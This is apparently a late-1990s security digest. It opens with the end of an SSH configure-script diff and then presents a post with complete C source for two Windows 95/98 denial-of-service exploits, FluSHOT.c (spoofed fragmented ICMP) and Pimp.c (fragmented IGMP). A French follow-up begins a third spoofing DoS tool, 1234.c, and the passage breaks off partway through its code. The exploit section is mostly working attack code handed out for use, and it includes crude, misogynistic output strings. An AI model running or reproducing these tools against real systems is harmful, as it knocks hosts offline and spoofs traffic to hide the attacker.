+echo "configure:5757: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_path_PERL'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -5739,12 +5794,12 @@ for ac_func in getpseudotty do echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 -echo "configure:5743: checking for $ac_func" >&5 +echo "configure:5798: checking for $ac_func" >&5 if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5826: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_func_$ac_func=yes" else @@ -5792,7 +5847,7 @@ done echo $ac_n "checking for pseudo ttys""... $ac_c" 1>&6 -echo "configure:5796: checking for pseudo ttys" >&5 +echo "configure:5851: checking for pseudo ttys" >&5 if test -c /dev/getpty && test $ac_cv_func_getpseudotty = yes then cat >> confdefs.h <<\EOF @@ -5832,7 +5887,7 @@ fi echo $ac_n "checking for /etc/default/login""... $ac_c" 1>&6 -echo "configure:5836: checking for /etc/default/login" >&5 +echo "configure:5891: checking for /etc/default/login" >&5 if test -f /etc/default/login; then cat >> confdefs.h <<\EOF #define HAVE_ETC_DEFAULT_LOGIN 1 @@ -5845,7 +5900,7 @@ if test -z "$no_shadows_password_checking"; then echo $ac_n "checking for shadow passwords""... $ac_c" 1>&6 -echo "configure:5849: checking for shadow passwords" >&5 +echo "configure:5904: checking for shadow passwords" >&5 if test -f /etc/shadow; then # If we don't have shadow.h, this might be some nonstandard # kludging... So better check it out. @@ -5859,7 +5914,7 @@ # have getspent in a system library. However, a libshadow.a library # contaning these is publicly available. echo $ac_n "checking for getspent in -lshadow""... $ac_c" 1>&6 -echo "configure:5863: checking for getspent in -lshadow" >&5 +echo "configure:5918: checking for getspent in -lshadow" >&5 ac_lib_var=`echo shadow'_'getspent | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -5867,7 +5922,7 @@ ac_save_LIBS="$LIBS" LIBS="-lshadow $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:5937: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -5906,9 +5961,9 @@ fi echo $ac_n "checking whether spwd have sp_expire field""... $ac_c" 1>&6 -echo "configure:5910: checking whether spwd have sp_expire field" >&5 +echo "configure:5965: checking whether spwd have sp_expire field" >&5 cat > conftest.$ac_ext < EOF @@ -5927,9 +5982,9 @@ rm -f conftest* echo $ac_n "checking whether spwd have sp_inact field""... $ac_c" 1>&6 -echo "configure:5931: checking whether spwd have sp_inact field" >&5 +echo "configure:5986: checking whether spwd have sp_inact field" >&5 cat > conftest.$ac_ext < EOF @@ -5968,7 +6023,7 @@ fi echo $ac_n "checking location of mail spool files""... $ac_c" 1>&6 -echo "configure:5972: checking location of mail spool files" >&5 +echo "configure:6027: checking location of mail spool files" >&5 for dir in /var/spool/mail /var/mail /usr/spool/mail /usr/mail FILE do if test "$dir" = "FILE"; then @@ -6007,7 +6062,7 @@ done echo $ac_n "checking location of utmp""... $ac_c" 1>&6 -echo "configure:6011: checking location of utmp" >&5 +echo "configure:6066: checking location of utmp" >&5 if test -f /var/run/utmp; then cat >> confdefs.h <<\EOF #define SSH_UTMP "/var/run/utmp" @@ -6043,7 +6098,7 @@ fi echo $ac_n "checking location of wtmp""... $ac_c" 1>&6 -echo "configure:6047: checking location of wtmp" >&5 +echo "configure:6102: checking location of wtmp" >&5 if test -f /var/log/wtmp; then cat >> confdefs.h <<\EOF #define SSH_WTMP "/var/log/wtmp" @@ -6077,7 +6132,7 @@ fi echo $ac_n "checking location of lastlog""... $ac_c" 1>&6 -echo "configure:6081: checking location of lastlog" >&5 +echo "configure:6136: checking location of lastlog" >&5 if test -f /var/log/lastlog || test -d /var/log/lastlog; then cat >> confdefs.h <<\EOF #define SSH_LASTLOG "/var/log/lastlog" @@ -6132,7 +6187,7 @@ fi echo $ac_n "checking whether $LASTLOG is a directory""... $ac_c" 1>&6 -echo "configure:6136: checking whether $LASTLOG is a directory" >&5 +echo "configure:6191: checking whether $LASTLOG is a directory" >&5 if test -d $LASTLOG then echo "$ac_t""yes" 1>&6 @@ -6145,7 +6200,7 @@ fi echo $ac_n "checking whether to include the IDEA encryption algorithm""... $ac_c" 1>&6 -echo "configure:6149: checking whether to include the IDEA encryption algorithm" >&5 +echo "configure:6204: checking whether to include the IDEA encryption algorithm" >&5 # Check whether --with-idea or --without-idea was given. if test "${with_idea+set}" = set; then withval="$with_idea" @@ -6179,7 +6234,7 @@ echo $ac_n "checking whether to include the Blowfish encryption algorithm""... $ac_c" 1>&6 -echo "configure:6183: checking whether to include the Blowfish encryption algorithm" >&5 +echo "configure:6238: checking whether to include the Blowfish encryption algorithm" >&5 # Check whether --with-blowfish or --without-blowfish was given. if test "${with_blowfish+set}" = set; then withval="$with_blowfish" @@ -6206,7 +6261,7 @@ echo $ac_n "checking whether to include the DES encryption algorithm""... $ac_c" 1>&6 -echo "configure:6210: checking whether to include the DES encryption algorithm" >&5 +echo "configure:6265: checking whether to include the DES encryption algorithm" >&5 # Check whether --with-des or --without-des was given. if test "${with_des+set}" = set; then withval="$with_des" @@ -6229,7 +6284,7 @@ echo $ac_n "checking whether to include the ARCFOUR encryption algorithm""... $ac_c" 1>&6 -echo "configure:6233: checking whether to include the ARCFOUR encryption algorithm" >&5 +echo "configure:6288: checking whether to include the ARCFOUR encryption algorithm" >&5 # Check whether --with-arcfour or --without-arcfour was given. if test "${with_arcfour+set}" = set; then withval="$with_arcfour" @@ -6252,7 +6307,7 @@ echo $ac_n "checking whether to include the none encryption algorithm""... $ac_c" 1>&6 -echo "configure:6256: checking whether to include the none encryption algorithm" >&5 +echo "configure:6311: checking whether to include the none encryption algorithm" >&5 # Check whether --with-none or --without-none was given. if test "${with_none+set}" = set; then withval="$with_none" @@ -6275,7 +6330,7 @@ echo $ac_n "checking whether to use login""... $ac_c" 1>&6 -echo "configure:6279: checking whether to use login" >&5 +echo "configure:6334: checking whether to use login" >&5 # Check whether --with-login or --without-login was given. if test "${with_login+set}" = set; then withval="$with_login" @@ -6290,7 +6345,7 @@ # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:6294: checking for $ac_word" >&5 +echo "configure:6349: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_path_PATH_LOGIN'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -6349,7 +6404,7 @@ echo $ac_n "checking whether to use rsh""... $ac_c" 1>&6 -echo "configure:6353: checking whether to use rsh" >&5 +echo "configure:6408: checking whether to use rsh" >&5 # Check whether --with-rsh or --without-rsh was given. if test "${with_rsh+set}" = set; then withval="$with_rsh" @@ -6364,7 +6419,7 @@ # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:6368: checking for $ac_word" >&5 +echo "configure:6423: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_path_RSH_PATH'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -6416,7 +6471,7 @@ # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 -echo "configure:6420: checking for $ac_word" >&5 +echo "configure:6475: checking for $ac_word" >&5 if eval "test \"`echo '$''{'ac_cv_path_RSH_PATH'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 else @@ -6465,7 +6520,7 @@ # Code to permit setting default path for users (alden@math.ohio-state.edu) echo $ac_n "checking default path""... $ac_c" 1>&6 -echo "configure:6469: checking default path" >&5 +echo "configure:6524: checking default path" >&5 # Check whether --with-path or --without-path was given. if test "${with_path+set}" = set; then withval="$with_path" @@ -6488,7 +6543,7 @@ echo $ac_n "checking etcdir""... $ac_c" 1>&6 -echo "configure:6492: checking etcdir" >&5 +echo "configure:6547: checking etcdir" >&5 # Check whether --with-etcdir or --without-etcdir was given. if test "${with_etcdir+set}" = set; then withval="$with_etcdir" @@ -6513,7 +6568,7 @@ echo $ac_n "checking whether to use nologin.allow file to override nologin""... $ac_c" 1>&6 -echo "configure:6517: checking whether to use nologin.allow file to override nologin" >&5 +echo "configure:6572: checking whether to use nologin.allow file to override nologin" >&5 # Check whether --with-nologin-allow or --without-nologin-allow was given. if test "${with_nologin_allow+set}" = set; then withval="$with_nologin_allow" @@ -6543,7 +6598,7 @@ echo $ac_n "checking whether to support SecurID""... $ac_c" 1>&6 -echo "configure:6547: checking whether to support SecurID" >&5 +echo "configure:6602: checking whether to support SecurID" >&5 # Check whether --with-securid or --without-securid was given. if test "${with_securid+set}" = set; then withval="$with_securid" @@ -6586,7 +6641,7 @@ echo $ac_n "checking whether to support TIS authentication server""... $ac_c" 1>&6 -echo "configure:6590: checking whether to support TIS authentication server" >&5 +echo "configure:6645: checking whether to support TIS authentication server" >&5 # Check whether --with-tis or --without-tis was given. if test "${with_tis+set}" = set; then withval="$with_tis" @@ -6617,7 +6672,7 @@ echo $ac_n "checking whether to use Kerberos""... $ac_c" 1>&6 -echo "configure:6621: checking whether to use Kerberos" >&5 +echo "configure:6676: checking whether to use Kerberos" >&5 # Check whether --with-kerberos5 or --without-kerberos5 was given. if test "${with_kerberos5+set}" = set; then withval="$with_kerberos5" @@ -6649,7 +6704,7 @@ KERBEROS_INCS="-I${KERBEROS_ROOT}/include" KERBEROS_LIBS="-L${KERBEROS_ROOT}/lib -lgssapi_krb5 -lkrb5 -lcrypto -lcom_err" echo $ac_n "checking for dbm_open in -lndbm""... $ac_c" 1>&6 -echo "configure:6653: checking for dbm_open in -lndbm" >&5 +echo "configure:6708: checking for dbm_open in -lndbm" >&5 ac_lib_var=`echo ndbm'_'dbm_open | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -6657,7 +6712,7 @@ ac_save_LIBS="$LIBS" LIBS="-lndbm $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:6727: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -6697,7 +6752,7 @@ echo $ac_n "checking whether to enable passing the Kerberos TGT""... $ac_c" 1>&6 -echo "configure:6701: checking whether to enable passing the Kerberos TGT" >&5 +echo "configure:6756: checking whether to enable passing the Kerberos TGT" >&5 # Check whether --enable-kerberos-tgt-passing or --disable-kerberos-tgt-passing was given. if test "${enable_kerberos_tgt_passing+set}" = set; then enableval="$enable_kerberos_tgt_passing" @@ -6725,7 +6780,7 @@ echo $ac_n "checking whether to use libwrap""... $ac_c" 1>&6 -echo "configure:6729: checking whether to use libwrap" >&5 +echo "configure:6784: checking whether to use libwrap" >&5 # Check whether --with-libwrap or --without-libwrap was given. if test "${with_libwrap+set}" = set; then withval="$with_libwrap" @@ -6736,7 +6791,7 @@ yes) echo "$ac_t""yes" 1>&6 echo $ac_n "checking for request_init in -lwrap""... $ac_c" 1>&6 -echo "configure:6740: checking for request_init in -lwrap" >&5 +echo "configure:6795: checking for request_init in -lwrap" >&5 ac_lib_var=`echo wrap'_'request_init | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -6744,7 +6799,7 @@ ac_save_LIBS="$LIBS" LIBS="-lwrap $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:6814: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -6799,14 +6854,14 @@ OLDLIBS="$LIBS" LIBS="$WRAPLIBS $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:6865: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then : else echo "configure: failed program was:" >&5 @@ -6827,7 +6882,7 @@ echo $ac_n "checking whether to support SOCKS""... $ac_c" 1>&6 -echo "configure:6831: checking whether to support SOCKS" >&5 +echo "configure:6886: checking whether to support SOCKS" >&5 # Check whether --with-socks or --without-socks was given. if test "${with_socks+set}" = set; then withval="$with_socks" @@ -6838,7 +6893,7 @@ yes) echo "$ac_t""yes" 1>&6 echo $ac_n "checking for SOCKSconnect in -lsocks5""... $ac_c" 1>&6 -echo "configure:6842: checking for SOCKSconnect in -lsocks5" >&5 +echo "configure:6897: checking for SOCKSconnect in -lsocks5" >&5 ac_lib_var=`echo socks5'_'SOCKSconnect | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -6846,7 +6901,7 @@ ac_save_LIBS="$LIBS" LIBS="-lsocks5 $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:6916: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -6879,7 +6934,7 @@ echo "$ac_t""no" 1>&6 echo $ac_n "checking for Rconnect in -lsocks""... $ac_c" 1>&6 -echo "configure:6883: checking for Rconnect in -lsocks" >&5 +echo "configure:6938: checking for Rconnect in -lsocks" >&5 ac_lib_var=`echo socks'_'Rconnect | sed 'y%./+-%__p_%'` if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then echo $ac_n "(cached) $ac_c" 1>&6 @@ -6887,7 +6942,7 @@ ac_save_LIBS="$LIBS" LIBS="-lsocks $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:6957: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then rm -rf conftest* eval "ac_cv_lib_$ac_lib_var=yes" else @@ -6934,7 +6989,7 @@ if test "x$socks" = "x"; then echo $ac_n "checking whether to support SOCKS5""... $ac_c" 1>&6 -echo "configure:6938: checking whether to support SOCKS5" >&5 +echo "configure:6993: checking whether to support SOCKS5" >&5 # Check whether --with-socks5 or --without-socks5 was given. if test "${with_socks5+set}" = set; then withval="$with_socks5" @@ -6968,14 +7023,14 @@ TMPLIBS="$LIBS" LIBS="$LIBS $KERBEROS_LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:7034: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then : else echo "configure: failed program was:" >&5 @@ -6996,7 +7051,7 @@ if test "x$socks" = "x"; then echo $ac_n "checking whether to support SOCKS4""... $ac_c" 1>&6 -echo "configure:7000: checking whether to support SOCKS4" >&5 +echo "configure:7055: checking whether to support SOCKS4" >&5 # Check whether --with-socks4 or --without-socks4 was given. if test "${with_socks4+set}" = set; then withval="$with_socks4" @@ -7016,14 +7071,14 @@ fi LIBS="$withval $LIBS" cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest; then +if { (eval echo configure:7082: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest; then : else echo "configure: failed program was:" >&5 @@ -7150,7 +7205,7 @@ fi echo $ac_n "checking whether to use rsaref""... $ac_c" 1>&6 -echo "configure:7154: checking whether to use rsaref" >&5 +echo "configure:7209: checking whether to use rsaref" >&5 # Check whether --with-rsaref or --without-rsaref was given. if test "${with_rsaref+set}" = set; then withval="$with_rsaref" @@ -7184,7 +7239,7 @@ # This allows group writeability in userfile_check_owner_permissions() echo $ac_n "checking whether to allow group writeability""... $ac_c" 1>&6 -echo "configure:7188: checking whether to allow group writeability" >&5 +echo "configure:7243: checking whether to allow group writeability" >&5 # Check whether --enable-group-writeability or --disable-group-writeability was given. if test "${enable_group_writeability+set}" = set; then enableval="$enable_group_writeability" @@ -7200,7 +7255,7 @@ echo $ac_n "checking whether to disable forwardings in server""... $ac_c" 1>&6 -echo "configure:7204: checking whether to disable forwardings in server" >&5 +echo "configure:7259: checking whether to disable forwardings in server" >&5 # Check whether --enable-server-port-forwardings or --disable-server-port-forwardings was given. if test "${enable_server_port_forwardings+set}" = set; then enableval="$enable_server_port_forwardings" @@ -7222,7 +7277,7 @@ echo $ac_n "checking whether to disable forwardings in client""... $ac_c" 1>&6 -echo "configure:7226: checking whether to disable forwardings in client" >&5 +echo "configure:7281: checking whether to disable forwardings in client" >&5 # Check whether --enable-client-port-forwardings or --disable-client-port-forwardings was given. if test "${enable_client_port_forwardings+set}" = set; then enableval="$enable_client_port_forwardings" @@ -7244,7 +7299,7 @@ echo $ac_n "checking whether to disable X11 forwarding in server""... $ac_c" 1>&6 -echo "configure:7248: checking whether to disable X11 forwarding in server" >&5 +echo "configure:7303: checking whether to disable X11 forwarding in server" >&5 # Check whether --enable-server-x11-forwarding or --disable-server-x11-forwarding was given. if test "${enable_server_x11_forwarding+set}" = set; then enableval="$enable_server_x11_forwarding" @@ -7266,7 +7321,7 @@ echo $ac_n "checking whether to disable X11 forwarding in client""... $ac_c" 1>&6 -echo "configure:7270: checking whether to disable X11 forwarding in client" >&5 +echo "configure:7325: checking whether to disable X11 forwarding in client" >&5 # Check whether --enable-client-x11-forwarding or --disable-client-x11-forwarding was given. if test "${enable_client_x11_forwarding+set}" = set; then enableval="$enable_client_x11_forwarding" @@ -7288,7 +7343,7 @@ echo $ac_n "checking whether to install ssh as suid root""... $ac_c" 1>&6 -echo "configure:7292: checking whether to install ssh as suid root" >&5 +echo "configure:7347: checking whether to install ssh as suid root" >&5 # Check whether --enable-suid-ssh or --disable-suid-ssh was given. if test "${enable_suid_ssh+set}" = set; then enableval="$enable_suid_ssh" @@ -7309,7 +7364,7 @@ echo $ac_n "checking whether to enable TCP_NODELAY""... $ac_c" 1>&6 -echo "configure:7313: checking whether to enable TCP_NODELAY" >&5 +echo "configure:7368: checking whether to enable TCP_NODELAY" >&5 # Check whether --enable-tcp-nodelay or --disable-tcp-nodelay was given. if test "${enable_tcp_nodelay+set}" = set; then enableval="$enable_tcp_nodelay" @@ -7335,7 +7390,7 @@ echo $ac_n "checking whether to enable SO_LINGER""... $ac_c" 1>&6 -echo "configure:7339: checking whether to enable SO_LINGER" >&5 +echo "configure:7394: checking whether to enable SO_LINGER" >&5 # Check whether --enable-so-linger or --disable-so-linger was given. if test "${enable_so_linger+set}" = set; then enableval="$enable_so_linger" @@ -7357,7 +7412,7 @@ echo $ac_n "checking whether to include scp statistics at all""... $ac_c" 1>&6 -echo "configure:7361: checking whether to include scp statistics at all" >&5 +echo "configure:7416: checking whether to include scp statistics at all" >&5 # Check whether --with-scp-stats or --without-scp-stats was given. if test "${with_scp_stats+set}" = set; then withval="$with_scp_stats" @@ -7383,7 +7438,7 @@ echo $ac_n "checking whether to enable scp statistics""... $ac_c" 1>&6 -echo "configure:7387: checking whether to enable scp statistics" >&5 +echo "configure:7442: checking whether to enable scp statistics" >&5 # Check whether --enable-scp-stats or --disable-scp-stats was given. if test "${enable_scp_stats+set}" = set; then enableval="$enable_scp_stats" @@ -7409,7 +7464,7 @@ echo $ac_n "checking whether to enable scp statistics for all files""... $ac_c" 1>&6 -echo "configure:7413: checking whether to enable scp statistics for all files" >&5 +echo "configure:7468: checking whether to enable scp statistics for all files" >&5 # Check whether --enable-all-scp-stats or --disable-all-scp-stats was given. if test "${enable_all_scp_stats+set}" = set; then enableval="$enable_all_scp_stats" @@ -7445,7 +7500,7 @@ PIDDIR="/var/run" echo $ac_n "checking where to put sshd.pid""... $ac_c" 1>&6 -echo "configure:7449: checking where to put sshd.pid" >&5 +echo "configure:7504: checking where to put sshd.pid" >&5 if test '!' -d $PIDDIR; then PIDDIR="$ETCDIR" fi -- [sjl@ssh.fi -- Sami J. Lehtinen -- sjl@iki.fi] [work:+358 9 43543214][gsm:+358 50 5170 258][http://www.iki.fi/~sjl] [SSH Communications Security Ltd. http://www.ssh.fi/] ======================================= 1.30-:4.4 BSD issue -- chflags (End) : ________________________________________________________________________________________________________ ~~~~~~~~~~~~~~~ Windows 9x/NT : ~~~~~~~~~~~~~~~ _________________________________________________________________________________________________________ 2.1-:About IGMP and another exploit for Windows95x/98x (begin): =============================================================== I got two exploit and test it... - The first one is Flushot by DarkShow. This exploit can drop the network connection in windows 95 and 98(First Edition) - The other one is Pimp by Rob Mosher, this exploit can reboot Windows98se I have Rethat linux 5.0 installed.... Now... the exploits.. Sorry.. my english is a shit... Have fun.. ----------[FluSHOT.c START CUT HERE]-------------------------------------------------- /* Lags CPU Made By DarkShadow from The flu Hacking Group Kills Win95-98 machines */ #include #include #include #include #include #include #include #include #include #include #include void banner(void) { printf("Remote Flushot v 1.0\n\n"); printf("\n\n"); } void usage(const char *progname) { printf(" usage:\n"); printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to Send]\n",progname); printf(" [Spoofed IP] : ex: 205.56.78.0\n"); printf(" [Destination IP] : ex: 201.12.3.76\n"); printf(" [# of FLushot to Send] : 100\n"); printf("The Flu Hacking Group (c)\n"); printf("DarkShadow PlimoMan Hack The Planet\n"); } int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) { struct hostent *host; memset(addr,0,sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_addr.s_addr = inet_addr(name); if (addr->sin_addr.s_addr == -1) { if (( host = gethostbyname(name) ) == NULL ) { fprintf(stderr,"ERROR: Unable to resolve host %s\n",name); return(-1); } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); } addr->sin_port = htons(port); return(0); } unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } int send_winbomb(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) { unsigned char *packet; struct iphdr *ip; struct icmphdr *icmp; int rc; packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); ip->ihl = 5; ip->version = 4; // ip->tos = 2; ip->id = htons(1234); ip->frag_off |= htons(0x2000); // ip->tot_len = 0; ip->ttl = 30; ip->protocol = IPPROTO_ICMP; ip->saddr = spoof_addr; ip->daddr = dest_addr->sin_addr.s_addr; ip->check = in_cksum(ip, sizeof(struct iphdr)); icmp->type = 12; icmp->code = 0; icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1); if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); ip->frag_off = htons(8 >> 3); ip->frag_off |= htons(0x2000); ip->check = in_cksum(ip, sizeof(struct iphdr)); icmp->type = 0; icmp->code = 0; icmp->checksum = 0; if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 8,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } free(packet); return(0); } int main(int argc, char * *argv) { struct sockaddr_in dest_addr; unsigned int i,sock; unsigned long src_addr; banner(); if ((argc != 4)) { usage(argv[0]); return(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr,"ERROR: Opening raw socket.\n"); return(-1); } if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } src_addr = dest_addr.sin_addr.s_addr; if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); } printf("Status: Connected....packets sent.\n",argv[0]); for (i = 0;i < atoi(argv[3]);i++) { if (send_winbomb(sock, src_addr, &dest_addr) == -1) { fprintf(stderr,"ERROR: Unable to Connect To luser.\n"); return(-1); } usleep(10000); } } ----------[FluSHOT.c END CUT HERE]-------------------------------------------------- ----------[Pimp.c START CUT HERE]-------------------------------------------------- /* ** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org ** exploits bug in m$'s ip stack ** rewrite by nyt@EFnet ** bug found by klepto ** usage: pimp */ #include #include #include #include #include #include #include #include #include struct igmp { unsigned char igmp_type; unsigned char igmp_code; unsigned short igmp_cksum; struct in_addr igmp_group; }; #define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);} u_long resolve(char *); int main(int argc, char *argv[]) { int nsock, ctr; char *pkt, *data; struct ip *nip; struct igmp *nigmp; struct sockaddr_in s_addr_in; setvbuf(stdout, NULL, _IONBF, 0); printf("pimp.c by nyt\n"); if(argc != 2) ERROR("usage: pimp "); if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) ERROR("could not create raw socket"); pkt = malloc(1500); if(!pkt) ERROR("could not allocate memory"); memset(&s_addr_in, 0, sizeof(s_addr_in)); memset(pkt, 0, 1500); nip = (struct ip *) pkt; nigmp = (struct igmp *) (pkt + sizeof(struct ip)); data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp)); memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp))); s_addr_in.sin_addr.s_addr = resolve(argv[1]); nip->ip_v = 4; nip->ip_hl = 5; nip->ip_tos = 0; nip->ip_id = 69; nip->ip_ttl = 255; nip->ip_p = IPPROTO_IGMP; nip->ip_sum = 0; nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr; nip->ip_src.s_addr = 2147100000; nigmp->igmp_type = 2; nigmp->igmp_code = 31; nigmp->igmp_cksum = 0; inet_aton("128.1.1.1", &nigmp->igmp_group); printf("pimpin' dem trick-ass-bitches"); for(ctr = 0;ctr < 15;ctr++) { printf("."); nip->ip_len = 1500; nip->ip_off = htons(IP_MF); sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in, sizeof(s_addr_in)); nip->ip_off = htons(1480/8)|htons(IP_MF); sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in, sizeof(s_addr_in)); nip->ip_off = htons(5920/8)|htons(IP_MF); sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in, sizeof(s_addr_in)); nip->ip_len = 831; nip->ip_off = htons(7400/8); sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in, sizeof(s_addr_in)); usleep(500000); } printf("*slap* *slap* bitch, who yo daddy\n"); shutdown(nsock, 2); close(nsock); } u_long resolve(char *host) { struct hostent *he; u_long ret; if(!(he = gethostbyname(host))) { herror("gethostbyname()"); exit(-1); } memcpy(&ret, he->h_addr, sizeof(he->h_addr)); return ret; } ----------[Pimp.c END CUT HERE]-------------------------------------------------- -- Hector Leon -- darksun@computer-maniacs.com --CiMOS Computers Rep. Dom.-- _________________________________________________________________________________________________________ 2.1-:About IGMP and another exploit for Windows95x/98x ; commentaires : _________________________________________________________________________________________________________ Lionel, m'as avertit d'une pompe. Apres vérification je dois admettre que le source de flashbot semble avoir été pompé...Je vous donnes celui que Lionel m'a donné. On ne fera pas de polemique... /* CAMELEON GROUPE PRESENTE 1234.c un denial of service parmit t'en d'autre * * ATTENTION: Se denial of service a ete crÈe pour etude(but educatif) sur l * * 'icmp.Il est interdit de s'en servir pour un but de piratage.Le piratage est * * interdit.Je ne me tien pas responsable de se que vous ferez de se prog. * * Pour me trouvez 2 solution - faire le nf17 sur son tel ou - m'ecrire ý * * tony@funradio.fr ;) THE SCRIPT CAME.BX sera bientot disponible! * * I F.O.A.D. BILL GATE , MICROSHIT , LES POULETS , WINDAUBE , FIREBALL , * * NEWBIES , LAMES , PD , COWBOYs AND WARLORDs , tous se qui ont pas * * cruent en moi , JCzic(tu aurras jamais linux, mais linux te turas). * * Merci ý: Les operateurs de #funradio, mach..., rewtou, cod4, * * ...et tous les autres. * * CAMELEON GROUPE F.O.A.D. THE WORLD! VIVE LA FRANCE! */ #include #include #include #include #include #include #include #include #include #include #include void banner(void) { printf("\n1234 1.0 BY CAMELEON G.\n"); printf("reprise de came.c and ssping.c\n\n"); } void usage(const char *progname) { printf("usage :\n"); printf("%s \n",progname); printf(" < spoof > : ip spoof ex: 127.0.0.1\n"); printf(" < dest > : ip victim ex:193.252.19.3\n"); printf(" < number > : 10\n"); printf(" Se denial of service rulezzzzzzzzzzz! Non?\n"); printf(" Se prog ý ÈtÈ fait pour l'etude et pas pour s'en servir.\n"); } int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) { struct hostent *host; memset(addr,0,sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_addr.s_addr = inet_addr(name); if (addr->sin_addr.s_addr == -1) { if (( host = gethostbyname(name) ) == NULL ) { fprintf(stderr,"ERROR: Unable to resolve host %s\n",name); return(-1); } addr->sin_family = 